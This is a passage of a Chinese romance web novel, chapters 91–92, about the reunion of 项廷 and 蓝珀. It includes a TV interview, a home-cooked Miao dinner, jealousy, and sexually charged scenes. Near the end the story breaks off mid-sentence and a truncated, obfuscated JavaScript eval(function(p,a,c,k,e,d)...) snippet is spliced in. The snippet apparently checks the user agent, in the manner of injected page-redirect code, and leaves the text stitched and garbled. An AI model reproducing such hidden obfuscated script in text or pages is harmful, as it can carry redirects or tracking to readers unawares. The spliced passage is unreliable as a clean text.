“好久不见,我就来看看你……”项廷心平气和、沉着而男子气概地起了个高调,高开低走,“你受伤了啊!” 他忍不住关心被学生霸凌的蓝老师,虽然目前的情况下他知道这件事,很是诡异,等于穿帮。 好在何崇玉自动圆上了他漏洞百出的谎言,一边将水递给了他,对上了茬:“不要紧!我涂了药酒。” 转头给蓝珀欣慰解释道:“下午路上有人把我给 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项廷绝不是瞪他,是看着蓝珀愤怒地颤栗着的手上还剩下半盏的残茶。那茶从他手里一过就像裹了层蜜一样,可惜凉了,失去了可以让他减刑的价值。可记得蓝珀的巴掌,它神威很大的。 两人像溺水者一样互相“瞪视”着。直到酒店前台打来电话,说交警要逮捕超速的项廷。 何崇玉接电话时才看见项廷的猪脸:“天啊!怎么回事?快快,凉水冲冲!” 说着还把项廷当小孩,以为他不会拧开水龙头似的,何崇玉急忙抓住他的手臂押送。 “你不许碰他!”蓝珀忽然大叫着攻击他,“姓何的,真想不到!你倒比我早见着不告诉我,不过,你们是怎样认识的呢?喔,好像谜一样!你放不放开他?” 何崇玉赶忙撒手,他的殡葬妆已经不能正常表达恐惧的情绪了,充满高光修容的脸更像调色盘了。即便不知道哪里触怒了蓝珀,但清楚这个朋友虽然说直率也是直率,说傲慢也是傲慢,但他是爬楼梯心脏就会不舒服的。刚才好悬,差点没给他气死! 蓝珀说:“臭死了,项廷,你还不去洗澡!” 项廷怎么洗澡?洗澡了不就放任他两个孤男寡男二人世界了吗?但蓝珀的懿旨不能不从,项廷继续紧盯何崇玉,且战且退。 他刚进去浴室,门铃又响了。何崇玉从猫眼一看——鱼眼镜头畸变的视野里一枚反光的金属警徽,警灯在走廊墙壁上投下闪烁的光斑,将警察的影子拉长成巨人般的轮廓。警察左手始终悬在腰间的甩棍上,大概是项廷一路高歌猛进有过些许袭警的动作。以至于何崇玉问哪位以后,警察突然向右侧横跨半步彻底脱离可视范围,走廊随即传来对讲机沙沙的通讯声:“目标房门确认,请求支援单位待命……” 何崇玉大惊,扭头看到蓝珀的表情,更惊:“是我们违了法在先,你千万不要这副杀人的表情啊。” 蓝珀小意温柔通通不见,阳气十足的面相,拖着腔调闷着声音:“你再偷偷私底下找项廷,我谁都不杀但你必须得死!” 打开门来,三言两语之间,何崇玉震恐蓝珀的能量竟强过个太平洋。美国交警很快认清了究竟是庙大还是神大,请蓝珀高抬贵手不要去法院告政府。 打包送走何崇玉与交警,刚关上门,项廷也洗好澡出来了。 蓝珀背对着他,坐在半开放厨房的吧台凳上。一只手端起葡萄酒杯,在他对面那大理石的柜台的倒影里,眼睛隔着暖橘色光的杯子对项廷说,我的手机掉进沙发了,去帮我捡。 是怎么掉进那么刁钻的位置了?怪不得那通电话一直没挂掉。手不够长,项廷拿了衣架还是捅不到那个地方,用吸尘器又怕蓝珀的手机和蓝珀一样易碎,正准备用螺丝刀撬了沙发脚扩大操作空间。 屁股一痛。 历史重演。蓝珀光裸的足,踩在了上面。 但是这一次,蓝珀把那残茶自上而下、慢慢浇到了项廷的睡裤上。 水痕洇了开,像小男孩子尿了裤子。 蓝珀含着笑,像在作画,他就这么冷眼瞧着,笔下游弋出一条苏醒的巨蟒。 91.可怜天下父母心 “看不出你本事见长啊!”蓝珀残忍一笑,踩踏他、撕咬他蹂躏他、一把掐死项廷都是轻的,他常常有恨不得把项廷吊在火炉里活活烤死的冲动,完成生命中最后的报复以后,就能安心躺在枫树下咽气了。 夹住它向挤牛奶一样往上慢而有力地推动:“还会跳呢,真恶心。” 又酸又麻,进而小腹有一种抽搐的感觉,舒服到了几乎难以忍受的程度。紧接着项廷一个鲤鱼打挺,火速翻了个面,竟然蜗牛一样蜷到了沙发底下去。就这样消失在玩兴正然大发的蓝珀眼皮底下。 “你现在跟我无话可说了,是吗?”蓝珀以一种置身事外的平静语气说,“连和我开心一下都嫌弃,敷衍我都省了?” 项廷一句话都不回。 因为凯林领到的错题簿上,记载着蓝珀的一万个雷点:三十五岁以下的男人都是公鸭嗓,敬请凯林不要污染他的视听了,说出一个字就倒一次的胃口,你只是孩子气的呼吸就已经让我很难受了。太多小男孩子以爱的名义像潮水一样涌上来,又以同样的理由退下去,他早看腻了。 凯林听了以后左脑攻击右脑,可纵他这样的古猿,也懂得瞬间把口中所有的口水锁住。项廷见不贤而内自省也,惊觉蓝珀甚至曾经还专指过他。问他,你们老北京说话都这么赖赖叽叽吗?在需要风花雪月的时候总会冒出一些土话大煞风景。一股京片子味儿,一开口全毁了。 那会儿的项廷,四九城皇族,地地道道混不吝:不待见?甭介,麻溜儿给我待见!瞅您这劲儿劲儿的,真当自个儿是八大胡同出来的姑奶奶? 现在的他使用过变声器之后,由奢入俭难,愈发觉得自己的声音有种平庸的味道。虽是有极强上进心且能吃得下苦的人,但译制腔播音嗓的练成不是一朝一夕的。 凯琳猿神低语:老大,咱两干脆死心各回各家吧!项廷承认,半斤八两,他与凯林是五十步一百步的关系。项廷一见到蓝珀又何尝不发生全身退化症,勉强不返祖。所以他心里折腾了无数个来回,像上甘岭上的拉锯战,好不容易才没汪了一声出来。带着不可战胜的精气神儿,闭嘴。多说多错,沉默是金。 有些功夫下得真是毫无意义,说的就是现在的项廷。 蓝珀心里便更加不是滋味,坐在沙发上,丢了魂似的。 天各一方的这些时日,他看似仍旧美丽、强势,风光无限,将他那个行业的雍容保持得完好如初。可背地里整个人都不好了,茶饭不思,消瘦了很多,腰上连链子都缠不住了,最喜欢的那颗脐钉失踪了半个月才发现。他的疼痛在骨头里游窜,情绪说变就变,为了自救,学会织毛衣;夜里头晕目眩,牙根发肿,仙乎仙乎的眼睛接了个大水龙头。他的夜比谁都长,半夜起风了把那几间房的门吹得砰砰响,他不敢起来去关好。不再见项廷,忍受着思念之苦,却借此机会反复布置了一下特别留给项廷却没有了项廷的房间。而到了白天,蓝珀又总感觉疲倦乏味,整日打瞌睡却怎么也睡不着。神啊,为什么?我这一生为何而来?终于解脱从天而降,好不容易盼到再见,结果呢,还不理人。 “项廷,”蓝珀故意往下压了压屁股,想吓唬吓唬人,结果轻飘飘的压根没气势,“不想出来,就永远别出来好了。” 一道道炽热划过了项廷的脸。妈的,项廷心里直骂:我这会出去,脸红可真把我出卖了。切记切记,成熟稳重!高阶层男子,当然都颇有威严。手足无措的他强压下往脸上蹿的热气,想着如何按照凡尔赛宫的礼仪向头顶上的女王送上诚挚的问候。 外面下着毛毛雨,得静下心才能感觉到。蓝珀盯着墙上55寸的大电视,借着反光用一种悲悯的眼光把自己上上下下打量了一番:难道是红颜未老恩先断? 蓝珀恍恍惚惚来了一句:“明天我死了,你是不是也对我的牌位无话可说?” 项廷突然迸发:“别胡说八道!” “我一定会先死在你前面的。失去青春其实早已经死了,尤其是我,有效期就那么几年,剩下的就是垃圾时间了。现实就是这么现实。” “你吓我啊!”项廷慌乱之中,忽然想到诺基亚广告,“你的青春期超长待机啊!” “大老远来的,一句人话没有!”蓝珀破涕为笑的一瞬间试着变成悄悄的笑,可是心里一股雪花般轻飘飘的美,上扬的语调根本藏不住,“你的嘴是不是不能闭上?” “我真巴不得哑了……”没救了,完犊子,回炉重造吧,早蓝珀十年出生,一辈子不进京。 “你把我害傻了,还要当哑巴?” “这我有问题,我问题大了,你让我想想。”项廷对自己变得如此婆婆妈妈而感到莫大羞耻。北京话说,爷们儿得有爷们儿的局器。他这是被媳妇拴到裤腰带上了。 蓝珀用脚去勾项廷的脚,把双足都放了上去,像一炉炭灼烤他。 看着反光里自己那副灰容土貌心烦,蓝珀干脆打开了电视。 嚯!这是谁家小狗呀? 访谈节目里的项廷,今天的装扮无懈可击,焦茶色的英国布格子纹西装衬得肩线笔直,配上浓灰色的意大利式领带、雪亮的鞋子,西装口袋里的白色方巾,俨然已经有了让异性可仰赖依靠的风度存在,好像下一秒就要起身走向落地窗,俯瞰曼哈顿的天际线。正面看侧面看,不管是凛然的眉宇,或极有男子气概的脸庞,哪怕论后脑勺都是一个风靡全国的大帅哥,除了带着一种独特的野气,露出年轻猎犬般白洁的牙齿,那么亮眼又充满力量,举世皆惊。蓝珀愕然一时说不出话来。 荧幕上项廷只有一个头一个上身,蓝珀的脚底下是两条腿。蓝珀惊恐地低头看了又看,好像很难把这两半拼成一个完整而和谐的项廷。无法想象,看着他、踩着他有血有肉的身体,让蓝珀觉得项廷比他记忆中的更不真实。 项廷闯进来抓奸的时候,蓝珀其实并没有看清楚项廷如今的模样。人气到了这个程度,看什么都自带虚化效果,眼睛里当真有盲点吧? 项廷有种幼儿园文艺汇演录像带公开露出的感觉:“你别看了……” “我偏要看,”蓝珀把声音调到最大,点评项廷的上半身造型,“大明星小霸王龙,有点可爱呢!” “欢迎来到本期《商业先锋》!很荣幸邀请到全球最年轻的跨国餐饮掌舵人——麦当劳中国区总裁项廷先生。面对进入中国市场的巨大挑战,你是如何迅速打开局面的,尤其对一个上任时年仅18岁的总裁来说?” “谢谢。北京首店开业当天人流量达到210多万,后厨连内蒙的食材都调空了,收银员连着干了16小时。市场可不管你是不是新手,学会见招拆招才是硬道理。” “《时代》评论:项廷重新定义了X世代领导力——他用草原猎豹般的战术突袭市场,又以深海蓝鲸的格局守护长期主义。当同龄人还在解人生方程时,他早已把麦当劳的金色拱门,焊进了中国商业史的星空轨道。” “坐上时代的顺风车而已,风怎么吹草就怎么动,是头猪都飞起来了。如果能把先天不足的产品做火的人,那才算是一个真正优秀的市场大师。” “今年三月组建团队时,中国市场的打法就已经成型了吗?” “这词太僵了,其实我觉得任何一个阶段都不能用‘成型’这两个字去把它固化了,你一旦成形了,就好像已经是静态不动了,但事实上你会发现你每年都在进步,市场就像流动的水,人也得跟着往前游。我们营销部门这个月初打磨出来的战术框架,在实战里二十天已经迭代了三个版本。拓展认知边界本质上是在对抗思维固化,就像航海的永远在突破海平线,因为你认知的广度是没有办法去给它定下来的。去年是闭环的东西,今年就是个豁口。一套系统是多个维度战略和战术上的集中体现,想一招吃遍天?一切以一劳永逸为出发点的策略都不长久,妄图标准化模型通吃市场的,本质上是在和熵增定律对抗。老天是公平的,世界也一直在变,人生不要自我设限。给自己画个圈,才是把路走窄了。18岁没成型,我希望到了80岁还是一个未完成态,每个明天的自己都能颠覆今天的认知版图。” “能否谈谈你最难忘的一次市场经历?” “老实说,难忘的生活经历倒是有,但市场经历好像没什么特别的。我比较乐观,别人觉得天塌了的事,到我这儿可能都还不错。又或许,我挖了很多坑,只是都没超过我的承受极限吧。你要有战略纵深,就不怕填坑。” “压力你是怎么处理的?” “压力没太感觉。累了就去打街球,虐篮板。” “麦当劳在中国从爆红到稳定盈利,作为总裁关键做对了什么?” “我开始看书了,我以前从来不看书的。” 全场都笑了。主持人不由得讶异,没见过这么接地气的回答。 但项廷的表情好像在说,他真的把这当事了,倾身直视镜头,眼神亮得像把刀:“我这人认准的事儿,死磕到底。以前找不到答案,憋得难受也不轻易问人。我一开始也是经不住诱惑,一心一意为了挣大钱,盲目,横冲直撞,被欲望牵着鼻子走,头脑已经停止思考了。就等于说像打仗一样人家2万我5万那就干吧!能不栽跟头吗?这种情况是很难赚到钱的,所以只有不断重复的痛苦。亏到肉疼才开窍,亏痛了,亏怕了,才会思考,哦,为什么会亏?注意力在什么地方?是不是路走错了?那就读书去吧。前前后后啃了七八十本,从经营理念到技术实操,国内外的都看。然后突然有一天脑子里有一个声音,叮的一声,就感觉我好像成了。一旦有了这个习惯以后,会对很多东西很好奇。以前过日子浑浑噩噩,后面觉得人到这个世上来,要活得稍微明白一点。” “来美国后的经历,也算凤凰涅槃了吧?听说你还在南非做产业、从事一些金融交易,爆过仓吗?” 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“如果和其他投资者或是银行家共进午餐,你希望和什么样的前辈深入交流?” “我来者不拒。不挑食,都可以。” 听到这里,蓝珀胸中忽然涌起一股怨意,恨恨地关掉了电视。 然后他从冰箱拿了一盆捣好的烤尖辣椒,像吃冰激凌那样挖着吃。吐了一长口气,哼哼地笑了起来。开了一罐精酿啤酒,他一口气牛饮掉一半。他唱起了歌。最开始是低声哼唱,唱给自己听,随后便开始带着一种昂扬的骄傲。如果项廷此刻看到的话——蓝珀的眼睛居然可以弯成这样!以至于煎牛排的时候,铲子一滑忘记是煎的哪面了,又是块很厚的肉心,封了边看不出,一面糊了一面生的。橙汁突然进了眼睛,脸溅了许多水珠,蓝珀不经心地用手巾去擦。嘴角就没下来过。 蓝珀这些日子也反思了。他有时候心里充满了怨毒,确实经常干出想把项廷捧在手心却把他摔得不轻的事情。所以那场招标会上百般刁难,差一点让项廷的梦想项廷的事业流了产。我那时怎么吃错了药中了邪似的?蓝珀一只手摸着脸自语,又摸了摸自己的脉搏。极认真地强迫项廷跟他殉情,像这种事,最好不要再有。可是蓝珀又总是跟着感觉走,不知危险为何物。有多少岁月可以重来?真能重来,估计他还是会犯同样的错误的 。就在刚刚,他还把项廷上了时代杂志的脸给烫秃噜皮了。 都过去了,幸好项廷没有把自己从他的记忆中抹除,既然他送上门来了还省的去找他了。项廷,你好负心的贼!可天底下又有哪个父母会怪罪一个风尘仆仆回到家中的游子呢?且大丈夫不可一日无权,一个男人有挣到钱的真本事,才是最紧要之事。看到他功成名就,蓝珀也就可以落发为尼,脱离尘世,成为一个道心坚定的出家人了。 自古什么东西一沾上母爱,已经没有道理可讲了。所以即便项廷不是个东西,又何必把项廷走过的绝路再逼他走一遍?想着,把一个鸡蛋打到了盆外,蓝珀有一种扯心扯肝的感觉:可怜的母鸡妈妈,都没想到轻轻一磕你的宝宝就这样碎了。 蓝珀既喜且怜地吃饱喝足,尽了超乎寻常的努力去原谅人间蒸发了一整个夏秋的项廷。回客厅,发现项廷蛄蛹出来了,有恢复人形的苗头。 蓝珀说:“难闻死了,湿了一身小狗味。” 项廷贴着墙根走,钻墙里,不仔细看根本看不见他:“啊,那我回去了。” “你要回哪去?”蓝珀吓坏了,一时间搜刮不出什么把他留下的理由,两人之前更寻不到一丝捆绑的关系,并没有名分。这是真急了:“上一次……上次开心的钱你还没给呢!” 然后两人各坐在沙发的两头,那长沙发比鹊桥还长。像一叶竹筏,两人如同被世界遗弃的恋人一样,于大海上漂流。 他们俩或多或少都觉得此道鸿沟名为代沟。但年龄真只是个数字。每个人心智的成熟度是很不一样的,发展的阶段也大不一样。很多人年纪大了,他的情绪认知还是极其糟糕,就比如蓝珀,碰到困难他一味采取躲避或者说视而不见的鸵鸟政策,从前他一直都这样做。 但可能是电视上项廷仗剑走天涯的豪迈感染了他,就好像在空旷而贫瘠的荒漠上突然刮过一阵强风。蓝珀的整个世界都好像被重新点燃了,浑身上下往外冒着火光。 在淡淡的照明里,蓝珀把胸前一条带圣母像坠的细项链勾到了领子外,抱着胸说:“主给你一次机会。就现在,一次性给我说个清楚,跟我……” 项廷灰溜溜地说:“跟你什么?” “你这人什么毛病,心不在焉的!好没意思!” “我真没听清啊!我对天发誓!” “那我再说一遍,我要你跟我……”蓝珀的勇气只有一次,再而衰三而竭心里就打了个死扣儿,腰一扭把双腿屈到了坐垫上,抱着膝说,“项廷,你跟我……道个歉吧。” 92.卫娘发薄不胜梳 蓝珀是实在没法子了。要项廷道歉,和管他要嫖资的意图差不多。换上一脸灿若春花的职业温婉,都有点像单纯挽留恩客的伎俩。 这个时候项廷的最优解甚至是别说话,出卖一下男色得了。或者深深利用蓝珀的舐犊之情。蓝珀眼里项廷有时候那都不能叫孩子,只能叫受精卵,一个胚胎,一个小泡泡。项廷站在原地直接大哭就行。 言者无心,但项廷听来可是个天大的命题。 从见到仰阿莎的那一天起,他对蓝珀的亏欠就像一个雪球越滚越大了。他将此事作个通盘的整理,十年一如鲜明的影像,在心中荧荧闪烁着,却又是杂乱无稽。道歉从何道起,该从哪里开始罪己。胸口似乎被膏药贴住了一般,久久不能呼吸。 可他原是万事俱备了的,只欠今天布鲁斯先生的那场烛光晚宴:轻柔的琴曲、蕾丝的餐巾、纯银的餐具,他甚至提前嘱咐主厨按照蓝珀的酸辣口味备好了主菜,最后上点心的侍者会弯腰将托盘放低,请蓝珀揭开餐罩,他将会一颗看到世界上最大最名贵的、一口气花光了项廷大半身家的……不说了,反正一切都毁了,彻彻底底! 项廷为此排练、演习了一个多月,他准备做一番大演说的稿子修改了上百遍。故而布鲁斯大可以昂然自若侃侃而谈,而穿着背心拖鞋违章赶来的项廷,现在只有一种假扮绅士衣锦还乡、还没发功就被打回原形的窘迫。再伟大的英雄他的加冕时刻能有几次?相逢恨晚造化弄人,老天为什么偏不给他展示的机会,成全他的侠客情结? 而且,项廷发现自己竟然是天生害怕姐姐的人,长姐又如母,母亲的威容像加州海边的阳光,他被晒成一根小萝卜头。商场上大开大合,情场上唯唯诺诺,只因为蓝珀一个不顺眼,他的世俗成功就会像纸牌搭的房子那样倒掉,他满头大汗的样子就像小时候在外面疯了一下午回家抱起水壶一边被妈妈责怪的他。深深打击他做男人的尊严。 “我做了一点吃的。”蓝珀正为自己的可爱诡计大获成功留住了项廷而开心着,轻盈地说。 “你会做饭?哈哈。”哈哈!说完才发现又说了什么狗屁倒灶的话! “但是你饿了呀。”蓝珀关火时碰倒了糖罐,厨房一时骚乱得有如战场。在手忙脚乱之中,被自己发出的充满母性的声音惊呆了。 餐桌上,意大利精雕细琢的巨型木制胡椒瓶与盐盅犹如威严的哨兵相对而立,高脚水晶杯中的酒液漾着轻柔的光芒,银质花钵里盛开着娇艳的三色堇。 蓝珀端来一大陶锅的红酸汤,瓷盘里码着腌鱼的切片,雕成花朵的柚皮糖在蜂蜜水中载沉载浮。拉开香槟塞子,气泡随着“嘭”的一声飞射而出,有点吓到他的样子。 给项廷盛了满满一碗五色的糯米饭:“快趁热吃。” “我舍不得吃。” “不够锅里还有呢,今年感恩节做了几十斤。”蓝珀往后舒服地靠到椅背上。 然后果然排揎了项廷一顿,一会说问你嘴巴一定要塞那么一大口吗?一会说手跟嘴非要争个耐烫王。有一说一,蓝珀扯的面片好不好吃不知道,挂嘴边挺辟邪的。 蓝珀忽说:“你不吃别乱扒拉!” “我看看你有没有放辣椒大蒜。” “真娇贵啊,吃点辣椒你会死吗?” “不会死,”项廷坐在他的对面,抬起头说,“但你不理我了,我会。” 每年农历三月十五是苗族的姊妹节。苗族姑娘要去山里去采摘南烛木叶、紫靛和蜜蒙,用各种的花草汁液浸泡糯米,上甑蒸熟就成了芳香四溢的五彩姊妹饭。白色象征纯洁的爱情,黄色代表五谷丰登,绿色赞颂家乡美丽如清水江,红色祝福寨子发达昌盛,紫蓝色是富裕殷实。 夜幕低垂,青年男女便开始聚集一处对唱情歌,言情表爱。此时小伙子会向中意的姑娘讨姊妹饭。节日过后,小伙子便要回家了,竹篮盛着饭,饭里还藏着姑娘们的心事,一切尽在不言。 可倘若糯米饭上摆上辣椒葱蒜,这意思是叫你知趣了,再纠缠便绝交。 蓝珀默然了,眼光瞬间显得冰冷:“你凭什么知道这个?” 不但知道这个,项廷还知道若撒一把松叶则代表针,暗示后生以后要回赠姑娘绣针和花线;如果竹篮里挂竹勾,暗示用伞酬谢,挂几勾送几把伞,若放两个相互套着的竹勾,则表示希望日后多来与姑娘来往;放香椿芽,表示姑娘愿与后生成婚。因苗语称椿芽为“娥”、“扬”的意思是“引”和“娶”,放芫奚菜即娥扬奚,意义相同,姊妹饭便犹如无字的情书,撮合了无数美好姻缘;放棉花的话,那可了不得。那意思是姑娘想嫁你,日思夜盼,想得不得了。 男孩曾问少女,姐姐会放什么进去呢?少女说,我要在里面放一颗蛋,以备你来年吃姊妹饭时,还我一只小鸡,然后我就再放一颗它生的蛋进去…… 项廷盯着他的眼睛,手心攥出来汗来:“你是苗族人,你说过。” 蓝珀捂得严实却肩部有些寒冷,他抚了下胸口,无动于衷地仰头望着天花板。很久才将餐巾铺在膝上后,拿起勺子。吃法有点中西合璧。淋了好儿次奶油酱,有时中途又突然停止,或将芹菜屑放在叉子上,神经质得很,不知道在想些什么。 项廷发觉这是命运赐予他的认罪机会,他应该趁机去拔掉那根一直折磨着他们的刺。他以极其卑下的语气小声问:“你还记得吗?” 蓝珀从烟盒中拈出来一支细长的薄荷烟,火苗跃动时他微微侧过头,低垂的睫毛镀上一层耀眼的金边。烟雾从唇间逸出。烟灰缸是水晶雕成的花瓣形状,烟灰飘落好像微型的雪景。 才吸了两口,便迅速拿起餐巾揩净嘴角:“你想说什么吗?不要说了,行行好吧,不要说了好吗?” 蓝珀一年比一年耐不住对自己的悲哀,把自我舍弃了才能好受点。他过去以为若一直等下去,那种凄惨一定会爆发的。就像菜市场的老式机器弹出爆米花般滑稽,是那种一发不可收拾的爆发。 但是在美国初次邂逅看到项廷黑而清澄的瞳孔时,就好像有一个温柔可爱的梦在眼前移动一样,格外地让人神往又恐惧,想爱又心颤。不论使用任何卑怯、伪善或虚伪的手段,也不愿它破坏掉。这种纸糊的关系若置之不理仍可持续一百年。 如今,单单苗族两个字就足够剌入蓝珀的心灵深处了,他猛地发现他一点不想被拖到阳光下处刑。他和项廷其实是一对共犯,一旦接受生来有罪的想法,就有了逃避一切的理由,从此难再回头。恨项廷记不得,憧憬他记得,可若到了这一天,蓝珀的满心竟是恐惧而非期待。 真静。这是从来没有过的一夜,有的只是房间四隅不安的影子。于是沉默的时间变成一种淤积的苦闷,烟蒂被按灭在花瓣中心,烟气挣扎着腾起最后一缕。蓝珀用有点发抖的手拿起杯子,把剩下的酒一饮而尽。 这时的他不再是阴柔,而是阴鸷,有区别的。像有刀尖,那么小的一点,插在心尖上,血渗出来,在胸前慢慢地滴,滴,滴。 项廷都看在眼里。他来到美国社会以后明白一个道理:永远不要相信油门踩死之后,会迎来刹车。不要觉得什么事都有人托底,会触底反弹。如果相信事情再差也不会差到哪去,只是对人的处境能有多糟糕的想象力不够。 将不勇则三军不锐,但将不智则三军大疑。故而不能心急,凡事讲究契机,每临大事,需有静气。 一时间项廷再没法向下伸展了,只能找补:“我社会科学阅读作业看到的。” “那你诈我!”蓝珀松了一口气的声音,满世界都听到了。 “哈哈,正所谓兵不厌诈,你还要练。” “小弟弟,你也真费心啊!” “亚裔研究学。”项廷补充细节。 “确定不是东南亚难民研究?” “这又是啥啊?”项廷岔开话题,夹起几块黑不溜秋年糕似的东西。 “包馅糍粑、蒿菜糍粑、五谷糍粑。”蓝珀认真地介绍。 “什么粑?”都黑黄的,“你这放个真粑也没人知道啊。” 蓝珀一扬手烟盒砸项廷脑门了:“吃软饭都吃不明白!想讨打就跪在地上磕头,不必拿话激我!” 项廷好似无事般的混蛋一笑:“我明天考试,知识给你打出去了。” 蓝珀顿时紧张了:“你不早说!吃完赶紧回家复习,明天一早要上课吗?” “下午开始。” 蓝珀着急站起来一通收拾,“还吃什么!我给你打包……” “你别打包了,还是打我吧,”项廷由衷地说。 他决心装淡定,扮成熟。但是他又被蓝珀简单地降服了,根本憋不住一腔思念,踊跃,决堤,老实:“你打我是旺我。” “啊啊,受不了你了!啊,你讲话一定要这么原始吗?” 蓝珀把盘子都扔到洗手槽里,转身提了一口气刚要骂人,背后一热。 项廷突然激动地从背后抱住了他,这种突发的事故蓝珀无可闪避。像坚硬的犁铧砸到冻土上一样,几乎发出一声巨大钝响,项廷有力而呆板地拥着蓝珀。与其说感觉到项廷笨拙的热情,倒不如说感觉到他潜藏的攻击与某种近乎绝望的力量正源源不断地传递过来。呼吸是泼在耳后的岩浆,他那坚硬的大腿,毫不客气地压迫着蓝珀的大腿,像在拓印某种图腾。蓝珀一转头就碰触到项廷烫热的脸颊,忽地一下子离开,又忽地一下子接触。两人仿佛躺在草坪上,幽暗的夜晚一下子变成明亮的仲夏草原,郁郁青青。那响着蓬勃心跳的年轻□□,发散阳光暴晒过的荷尔蒙香味,腰腹却收紧似暴雨前低伏的草甸。 “我好想你,”项廷的声音有些哑了,“你也想我的吧。” 过量的情热中,蓝珀微微偏过头不去看他,可是被他的呼吸烫得瑟缩,不小心又看到他的脸。东北的虎西北的狼,好直观的丰神俊朗。 “你想我了,”项廷执着地追问。 “那你现在抓到我了吗?”蓝珀掰了掰他的手臂,以一种项廷完全感知不到的力气,“真的,项总一直那么忙呢!” “我一看到你就什么都做不了啊,满脑子都是你,他妈,我不废了。”写了许多不像话的情书,都扔了废纸篓一封也没发出去,“废了怎么配得上你啊?” “项廷!项廷,你你,你是不是要当上美国总统才配得上我!” “难说。” “……随你便好了,有你没你也没什么也不太怎么样。”我在世上是个多余的人,你若不牵挂我,世界上其实并没有牵挂我的了。 “那你不想我吗?你有我一半,一秒,就嗖一下也算想了啊。” “臆想。” “够凶。” “这是我的家你闯进来我凶一点都不行吗!你有完没完了?别说话了,两大板牙撅着。学腹语了吗,我以为鬼出世吓唬人呢。你老恶心我干什么呀,我真难受……” 难受到气病了。缓慢绝食的蓝珀,月初接到董事会邮件:给项廷新公司注资的提案,蓝珀腾一下窜起来:加码、加价、加班。 蓝珀拧开水龙头,刚要挤洗洁精,项廷两只手都抓住了他的手,掌心温度厚实安妥。就这样指头缠绕指头之时,蓝珀心中响起了远雷般的轰鸣。 他不小心又从冰箱瓷面的反光看到了自己,长期发脾气,面相都不好了,笑都带着凶意。 反光里出现项廷,阿喀琉斯般崇高男性美的典范。而自己只是他脸上一颗青春痘罢了! “看我做什么?”蓝珀咬了咬唇。 “是你盯着我的。”项廷正被蓝珀的香气空间绞杀,不知所云,“你给我绑了。” “瞧瞧你这种人,谁能绑住你呢?” “问你。” “我还问你!明天考试了,你准备怎么样?” “一般一般,保九争百。” “答应这么快,你是不是哄我的?” “我们教授课上说跟你是老朋友了,”项廷耍无赖,“你给我划划重点。” 蓝珀只听到一个老字,嗡的一声在脑子里炸开,颠三倒四地倾倒出种种心事:“你快点考个鸭蛋去开party吧!小帅哥小美女左拥一个又抱一个,长那么帅,无可厚非,脏的臭的你都迎进了家门!我不像你,我跟别的男人连手也不握!哦,陪完他们可以想起来陪我来了吗?” 项廷在生活作风问题上过硬,才敢抬头挺胸说话:“嘿骗你的,明天不考试。” 蓝珀一下子失望透顶,本来确实是非常希望项廷每天都有事找他,别说划重点了,透透题也不是原则性的问题。好像有点不太正常,可是天底下哪位父母不为了孩子发疯,蓝珀陷入母爱就空前安静。 半晌才没好气说:“还以为你多大能耐,原来想泡我连逃学都不敢。” “谁说不敢,我留级都敢,”项廷更用力地收紧箍在他腰上的手臂,然后像一名没有任何经验的登山运动员,面对一座高耸入云的山峰,咬了咬牙,横下一条心对自己说:上了! 他冲蓝珀真心实意地喊道:“我要在你这留一辈子级!” “晦气!晦气!”蓝珀慌乱至极肘了他几下。但就像回潮的热波拍击一样,蓝珀自己被烫得一惊,身后更散发出一股浓烈肉|欲的气息。 然后项廷却只是说:“我来吧,你的手不该干这事。” 蓝珀有些落寞地离开了他的禁锢,但站在水池边没走。被项廷抱着的时候他几乎停止了呼吸,放开来才倒吸一口气。 项廷扣住碗底,拿着抹布转圈,熟练极了。以为蓝珀还等着干活,项廷报班学习来的绅士腔调终于派上了用场,十分做作地说:“几个碗而已,不让男士来洗有点太不给面子了。” 蓝珀只觉得身上冷,像大冬天的早晨刚出被窝,冷飕飕地笑得很欠自然:“你是男士,那我是什么?” 你是仰阿莎。 狂乱地闪着念想,项廷赶紧夹着尾巴没说出口。说:“你有女的时候!” 蓝珀轻笑了一声。然后边说边抚摸项廷的侧腹和大腿,指尖滑动着他的喉结,又触动他的腰间:“现在,就特别想做女人啊……” 指趣深远。 蓝珀轻轻把头靠向了他的后背,投靠在这个热人闷人倦人的夏天里:“我今天那瓶醒好的酒你都没喝一口。” “我开车来的,不能喝啊……” “你当我这里想来就来,想走就走吗?” “你家盘丝洞啊。” “那我成什么人了嘛。” “你等着好了,我会让你成我的人,心甘情愿的。你巴不得求我当我的人。” “那有的人躲了我那么久,真是可恶啊。这种男孩子,能白白饶了他吗?天亮了我也不让他回去。” 愈来愈的活色生香,项廷招架不住,他做梦都没这么震撼。蓝珀随随便便就能把人带到走火人魔的境地,释迦摩尼也在所难免的吧! 蓝珀吐一口香烟刚要戏谑些什么,身体一轻却被人抱起来,两人就像拧麻花似的纠缠到了一起,双双倒在了沙发上。 蓝珀说他好想做女人,项廷又何尝不想向蓝珀证明自己是一个男人!而一个男人面对自己心爱的女人时是完全可以动作粗鲁的。肌莹骨润摸得和美,这他妈才叫男人过的日子!马上就想在蓝珀身上发出雄狮般的咆哮与嘶吼。 他口气像五十米跑刚结束:“你能别勾我了!” “这就叫作‘勾’了?”蓝珀十分诧异,好像他不曾说过什么露骨之语,只是吟游生活呈现处处泛滥的诗意罢了,“可怜的孩子,多睡两个就知道了。” “你再勾我,会勾出人命……” 蓝珀被他压得喘不过气来,正感到头晕,一只手不知不觉挽住了他的脖子靠着。另只手推他的胸膛弄出一点空间来,手肘撑着沙发稍稍坐起来一点笑道:“那你汪汪两声来听听?” 这很难吗?原来的项廷并不知道十八层地狱下面还有第十九层,现在他知道,是仰阿莎一个人在那里,全是因为自己。让他做狗是殊荣,狗牌是他的功勋章。但做狗有一个不好,狗是看家护院的,最多牧牧羊。一条狗怎么打天下,狗上哪整来一片江山为聘? 见项廷并没有马上接招,态度疑似开始生硬了。蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……会断章取义的人做什么都是有道理的。”微张的唇宛如储存柔情的香巢,伴随呼吸散发的温热气息仿佛红色妖精在起舞。 “你别打模糊了,我玩不转这个,”项廷固执道,“你点个头。” “……你这个坏孩子,什么都知道却又都佯装不知。 ” “我不知道,我不敢想象,我和你在一起会有多幸福。” “胆小鬼,”蓝珀偷偷侧过脸,“我就敢想。” 